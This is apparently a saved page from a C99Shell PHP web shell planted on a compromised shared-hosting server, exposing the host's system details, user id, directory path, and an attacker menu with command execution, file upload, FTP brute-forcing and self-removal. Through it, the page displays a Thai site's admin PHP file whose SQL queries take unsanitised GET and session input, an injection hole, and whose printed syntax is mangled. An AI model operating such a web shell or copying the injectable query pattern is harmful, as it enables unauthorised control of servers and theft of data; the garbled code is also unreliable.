!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/krupimhomecenter.com/office/   drwxr-xr-x
Free 237.79 GB of 981.82 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     stationairport_update.php (3.39 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<? 
include 'index_IncludeAdmin.php'
$_SESSION['page'] = 'stationairport.php';

if (isset(
$_GET[stationairport_id])){
    
$_SESSION[stationairport_id] =  $_GET[stationairport_id];
}
$stationairport_id =   $_SESSION[stationairport_id] ;

$stationairport_SL " SELECT * FROM stationairport WHERE stationairport_id = '$stationairport_id'";
$stationairport_QR mysqli_query($con,$stationairport_SL);
$stationairport     mysqli_fetch_array($stationairport_QR);

if (
$_POST['stationairport_Update']) {

    
$stationairport_name trim($_POST['stationairport_name']);
    
$stationairport_namestr_replace("'","&#39;",$stationairport_name);
    
$stationairport_namestr_replace("\"","&quot;",$stationairport_name);

    
$stationairport_Update "UPDATE `stationairport` SET `stationairport_name` = '$stationairport_name'   WHERE `stationairport_id` = '$stationairport_id'";
    
$stationairport_Reult mysqli_query($con,$stationairport_Update);

    if (!
$stationairport_Reult) {
        echo
"<script>alert('เกิดข้อผิดพลาด'); window.history.back(); </script>";
    }

    if (
$stationairport_Reult) {
        echo
"<script>   window.location='stationairport_one.php?UPDATE'; </script>";
    }

}

?>

<!DOCTYPE html>
<html>
<head>
    <? include 'index_Head.php'?>
</head>
<body>
    <? include 'index_Navbar.php'?>    
    <div class="container-fluid">
        <div class="row">
            <div class="col-md-2" id="main-left">
                <div class="row">
                    <div class="col-md-12">
                        <? include 'index_AdminMenu.php'?>
                    </div>
                </div>
            </div>
            <div class="col-md-10">
                <div class="row">
                    <div class="col-md-12">
                        <h3>  แก้ไข  สถานี Airport  : <span class="text-primary bold"> <?php echo $stationairport[stationairport_name]; ?> </span>  </h3>
                        <hr>
                    </div>
                </div>
                <div class="row">
                    <div class="col-md-12 br-margin2">
                        <a  onclick="goBack()" class="btn btn-primary"><span class="glyphicon glyphicon-step-backward"></span> กลับ </a>
                    </div>
                    <div class="col-md-12">
                        <div class="panel panel-default">
                            <div class="panel-heading">
                                กรอกรายละเอียด " สถานี Airport " ที่ต้องการแก้ไข 
                            </div>
                            <div class="panel-body">
                                <form class="form-horizontal" method="post" enctype="multipart/form-data">
                                    <div class="form-group">
                                        <label class="control-label col-md-3" >ชื่อ สถานี Airport  <span class="text-red"> * </span>  </label>
                                        <div class="col-md-6">
                                            <input type="text" class="form-control"   value="<? echo $stationairport[stationairport_name]; ?>" name="stationairport_name"  placeholder="ชื่อ สถานี Airport " required>
                                        </div>
                                    </div>
                                    <div class="form-group"> 
                                        <div class="col-md-offset-3 col-md-5">
                                            <input type="hidden" name="stationairport_Update" value="x">
                                            <button  onclick="return confirm('ยืนยันการแก้ไข ? ')" type="submit" class="btn btn-info">
                                                <span class="glyphicon glyphicon-floppy-disk"></span> บันทึกการแก้ไข
                                            </button>
                                        </div>
                                    </div>
                                </form>
                            </div>
                            <div class="panel-footer">
                            </div>
                        </div>
                    </div>
                    <!-- 12 -->
                </div>
                <!-- row -->
            </div>
            <!-- 10 -->
        </div>
        <!-- row -->
    </div>
    <!-- container -->
</body>
</html>



:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.2327 ]--